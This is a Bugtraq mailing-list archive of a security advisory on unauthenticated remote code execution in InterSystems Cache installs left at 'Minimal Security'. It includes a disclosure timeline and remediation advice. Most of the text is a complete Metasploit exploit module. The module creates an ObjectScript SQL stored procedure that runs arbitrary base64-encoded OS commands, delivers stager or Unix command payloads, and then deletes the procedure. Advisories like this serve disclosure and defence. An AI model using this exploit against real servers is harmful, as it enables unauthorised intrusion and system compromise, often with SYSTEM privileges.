Bugtraq mailing list archives

Intersystems Cache Remote Code Execution (via Default 'Minimal Security' Install)


From: bruk0ut.sec () gmail com
Date: Tue, 19 Nov 2013 18:08:27 GMT

-------------------
1) Overview

Title: Intersystems Cache Remote Code Execution (via Default 'Minimal Security' Install)
Product: Intersystems Cache
Product URL: http://www.intersystems.com/cache/index.html
Vendor: Intersystems
Affected Versions: Tested on Cache for Windows x86-64 & i386 2009.* thru 2012.*
<= 2007.* may not achieve RCE.
=> 2013.* requires manual web UI usage but RCE can still be achieved by manually creating the SQL stored procedure and 
calling it via SELECT procname('cmd')
CVE-ID: None - vendor is aware of the insecure default "Minimal Security" mode. Furthermore the installer provides 
"Normal" and "Locked down" modes which must be selected in order to have some level of security.
Severity:  High
Credit: Bruk0ut

Disclosure timeline:
09/23/2013 - Vendor contacted and advised of highly insecure default configuration

09/24/2013 - Vendor responds to advise a case has been opened

10/08/2013 - Vendor responds to advise that product manager and developer group are looking into improving this initial 
default configuration and are closing the case

11/01/2013 - Vendor releases Cache version 2013.1.3 - according to change log this issue has not been addressed and no 
warning/advisory posted to advise customers against installing with default "'Minimal Security' configuration on 
http://www.intersystems.com/support/cflash/2013announce.html

11/18/2013 - Advisory and exploit disclosed to public

-------------------
2) Product information

"InterSystems Cache is an advanced object database that provides in-memory speed with persistence, and the ability to 
handle huge volumes of transactional data. Plus, it can run SQL faster than relational databases. Caché enables rapid 
Web application development, massive scalability, and real-time queries against transactional data – with minimal 
maintenance and hardware requirements"

-------------------
3) Advisory detail

The default installation of Intersystems Cache using the 'Minimal Security' mode, is very insecure in that the default 
"UnknownUser" mapping for anonymous user access to the web service (running on port TCP/57772 by default) - is granted 
privileges to "%All" roles,  which can be used to comprise the system on which Cache has been installed.

Particularly the unrestricted access to the Cache SQL engine (http://host/csp/sys/exp/UtilSqlQuery.csp) and the ability 
to create and execute stored procedures, results in allowing the use of the "Cache Object Script" language to be 
leveraged and thus one can achieve un-authenticated remote code execution with default SYSTEM privileges on windows 
systems, and with the non privileged 'cacheserver' user context on Linux systems.

Tested on Cache for Windows x86-64 & i386 2009.* thru 2012.*

Versions <= 2007.* have not been tested and possibly may not achieve RCE via UtilSqlQuery.csp

Versions => 2013.* requires manual web UI usage of the management portal 
(http://host/csp/sys/exp/%25CSP.UI.Portal.SQL.Home.zen) - but RCE can still be achieved by manually creating the SQL 
stored procedure and calling it via SELECT procname('cmd'). The reason for this is because from this version on, the 
management portal uses the CSPBroker service when dealing with HTTP POST requests, which adds a layer of complexity due 
to encrypting methods and functions with the user's session key. This is all abstracted by any JavaScript enabled 
browser but renders it difficult to script an exploit. Previous versions do NOT use the CSPBroker and use standard HTTP 
POST requests.

-------------------
4) Proof of Concept

attached is cache_rce_pack.zip which contains

a) cache_rce.py - a standalone python exploit that exploits the vulnerability using a self explanatory menu system (and 
in turn uses MultipartPostHandler.py for uploading files due to Cache's requirement of multipart-formdata enctype).

b) cache_minimal_sec_exec.rb - Metasploit module submitted to Rapid7 on 11/18/2013 - uses CMDStagerVBS for windows 
targets or generic UNIX CMD payloads for *nix targets. Also has the option for single/specific cmd execution (non 
stager or payload).
-------------------
5) Solution

Users should not use the default 'Minimal Security' setting during installation and should choose either 'Normal' or 
'Locked Down'.

If a Cache installation has been installed using the 'Minimal Security' setting, the info here should be reviewed and 
the installation locked down -> http://docs.intersystems.com/ens20091/csp/docbook/DocBook.UI.Page.cls?KEY=GCAS_tighten

Furthermore the default admin accounts should have their passwords reset.

-------------------
Contact

bruk0ut.sec  .::at::.  gmail com
PGP Key ID: 0xC570B9F4


================================================
================================================
================================================

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit
        Rank = GreatRanking

        include Msf::Exploit::Remote::HttpClient
        include Msf::Exploit::CmdStagerVBS
        include Msf::Exploit::FileDropper

        def initialize(info = {})
                super(update_info(info,
                        'Name'            => 'Intersystems Cache Remote Code Execution (via Default Minimal Security 
Install)',
                        'Description'     => %q{
                                This module exploits default installations of Intersystems Cache which use the 
'minimal' initial security settings, unless changed during/post installation.
                                Anonymous users are granted permissions to '%All' roles within Cache, allowing for 
remote code execution to be achieved by creating a Cache SQL stored procedure which leverages
                                the 'Cache Object Script' scripting engine to execute commands under the context of 
SYSTEM for default windows installations, or non privileged 'cacheserver' for default *nix installations.

                                },
                        'Author'          =>['Bruk0ut'],
                        'License'         => MSF_LICENSE,
                        'References'      =>[ 'URL', 'tbd'],
                        'DisclosureDate' => 'Nov 18 2013',
                        'Platform'       => ['win', 'unix'],
                        'Targets'        =>
                                [
                                        [
                                                'Windows Universal (CMDStagerVBS)',
                                                {
                                                        'Platform' => 'win',
                                                        'Arch' => ARCH_X86
                                                }
                                        ],

                                        [
                                                'Unix Universal (CMD)',
                                                {
                                                        'Platform' => 'unix',
                                                        'Arch' => ARCH_CMD
                                                }
                                        ]
                                ],
                        'DefaultTarget'  => 0,
                        'Privileged'     => true #SYSTEM for windows, non priv'd cacheserver acct for *nix
                        ))

                register_options(
                        [
                                Opt::RPORT(57772),
                                OptString.new('TARGETURI', [ true, 'Path to SqlQuery form', 
'/csp/sys/exp/UtilSqlQuery.csp']),
                                OptString.new('CMD', [ false, 'Execute this command instead of using command stager or 
Payload', "" ]),
                                OptString.new('STORED_PROC_NAME', [true, 'Stored Procedure name to 
create','random_alpha'])
                        ], self.class)

                register_advanced_options(
                        [
                                OptBool.new('DELETE_FILES', [ true, 'Delete the dropped files after exploitation', true 
])
                        ], self.class)
        end

        def check
                res = send_request_cgi(
                {
                        'uri' => target_uri.path,
                        'method' => 'GET',
                },20)

                if (res.code == 401 or res.code == 404 or res.body =~ /user name/ or res.body =~ /User Name/)
                        Exploit::CheckCode::Safe
                        # either not found or UtilSqlQuery.csp is protected by authentication (non default install)
                else
                        Exploit::CheckCode::Vulnerable
                end
        end



        def create_sql_procedure(procname)
                # create Cache SQL stored procedure which uses Cache Object Script to acheive arbritrary code execution
                print_status("Creating Cache SQL Stored Procedure: #{procname}")
                rce_func = "CREATE FUNCTION #{procname}(CMD TEXT) PROCEDURE RETURNS TEXT LANGUAGE OBJECTSCRIPT\n"
                rce_func << "{\n"
                rce_func << "Set rez = $ZF(-1, ##class(%SYSTEM.Encryption).Base64Decode(CMD))\r\n"
                rce_func << 'Write "rce_cmd_complete"' + "\r\n"
                rce_func << "}\r\n"
                res = send_request_cgi(
                {
                        'uri' => target_uri.path,
                        'method' => 'POST',
                        'vars_post' =>
                        {
                                '$NAMESPACE' => '%SYS',
                                '$CLASS' => '%CSP.UI.SQL.QueryForm',
                                '$FRAME' => '_top',
                                '$FORMURL' => Rex::Text.uri_encode(target_uri.path),
                                '$AUTOFORM_EXECUTE' => 'Execute Query',
                                'RuntimeMode' => 'Logical Mode',
                                'MaxRows' => '1000',
                                'IEworkaound' => '',
                                'Query' => rce_func
                        }
                },20)

                if (not res or res.code == 500 or res.code==404)
                        abort("Did not receive expected response... quitting")
                elsif (res.code == 401 or res.body =~ /user name/ or res.body =~ /User Name/)
                        abort("UtilSqlQuery.csp is protected by authentication... quitting")
                end

                #after initial form POST, server sends a 302 re-direct which must be followed to complete the request
                if (res.headers['LOCATION'])
                        exec_url = res.headers['LOCATION']
                        res = send_request_cgi(
                        {
                                'uri' => exec_url,
                                'method' => 'GET',
                        },20)
                else
                        abort("Could not parse exec url... quitting")
                end
        end

        def drop_sql_procedure(procname)
                #Stored Procedure cleanup... rm as no longer required
                print_status("Dropping Cache SQL Stored Procedure: #{procname}")
                res = send_request_cgi(
                {
                        'uri' => target_uri.path,
                        'method' => 'POST',
                        'vars_post' =>
                        {
                                '$NAMESPACE' => '%SYS',
                                '$CLASS' => '%CSP.UI.SQL.QueryForm',
                                '$FRAME' => '_top',
                                '$FORMURL' => Rex::Text.uri_encode(target_uri.path),
                                '$AUTOFORM_EXECUTE' => 'Execute Query',
                                'RuntimeMode' => 'Logical Mode',
                                'MaxRows' => '1000',
                                'IEworkaound' => '',
                                'Query' => "DROP FUNCTION #{procname}"
                        }
                },20)

                if (not res or res.code == 500 or res.code==404)
                        abort("Did not receive expected response... quitting")
                end

                #after initial form POST, server sends a 302 re-direct which must be followed to complete the request
                if (res.headers['LOCATION'])
                        exec_url = res.headers['LOCATION']
                        res = send_request_cgi(
                        {
                                'uri' => exec_url,
                                'method' => 'GET',
                        },20)
                else
                        abort("Could not parse exec url... quitting")
                end
        end


        def exploit
                #randomize stored procedure name
                if datastore['STORED_PROC_NAME'] == 'random_alpha'
                        datastore['STORED_PROC_NAME'] = rand_text_alpha(6)
                end

                #create stored procedure to acheive RCE
                create_sql_procedure(datastore['STORED_PROC_NAME'])

                #if CMD option is set, instead of using a payload, execute only this command, prefixed with 'cmd /c ' 
if target is Windows, or no prefix if *nix
                if not datastore['CMD'].empty?
                        if target.name =~ /Windows/
                                print_status("Executing command: cmd /c #{datastore['CMD']}")
                                execute_command("cmd /c #{datastore['CMD']}")
                        else
                                print_status("Executing command: #{datastore['CMD']}")
                                execute_command(datastore['CMD'])
                        end
                        return
                end

                #if target is Windows, launch payload via CMDStagerVBS
                if target.name =~ /Windows/
                        execute_cmdstager( { :linemax => 1500 })

                #if *nix, execute CMD payload directly
                else
                        print_status("Executing UNIX CMD Payload #{payload.encoded}")
                        execute_command(payload.encoded)
                end

                #clean up stored procedure
                drop_sql_procedure(datastore['STORED_PROC_NAME'])
                handler
        end

        def execute_command(cmd, opts = {})
                cmd = Rex::Text.encode_base64(cmd)
                #launch pre-created stored procedure and pass cmd as arg
                res = send_request_cgi(
                {
                        'uri' => target_uri.path,
                        'method' => 'POST',
                        'vars_post' =>
                        {
                                '$NAMESPACE' => '%SYS',
                                '$CLASS' => '%CSP.UI.SQL.QueryForm',
                                '$FRAME' => '_top',
                                '$FORMURL' => Rex::Text.uri_encode(target_uri.path),
                                '$AUTOFORM_EXECUTE' => 'Execute Query',
                                'RuntimeMode' => 'Logical Mode',
                                'MaxRows' => '1000',
                                'IEworkaound' => '',
                                'Query' => "SELECT #{datastore['STORED_PROC_NAME']}('#{cmd}')"
                        }
                },20)

                if (not res or res.code == 500 or res.code==404)
                        abort("Did not receive expected response... quitting")
                end

                #after initial form POST, server sends a 302 re-direct which must be followed to complete the request
                if (res.headers['LOCATION'])
                        exec_url = res.headers['LOCATION']
                        res = send_request_cgi(
                        {
                                'uri' => exec_url,
                                'method' => 'GET',
                        },20)
                else
                        abort("Could not parse exec url... quitting")

                end

                #stored procedure outputs the string below to confirm that it executed
                if not res.body =~ /rce_cmd_complete/
                        abort("Unable to confirm if SQL stored procedure can be executed properly... quitting")
                end
        end
end


Current thread: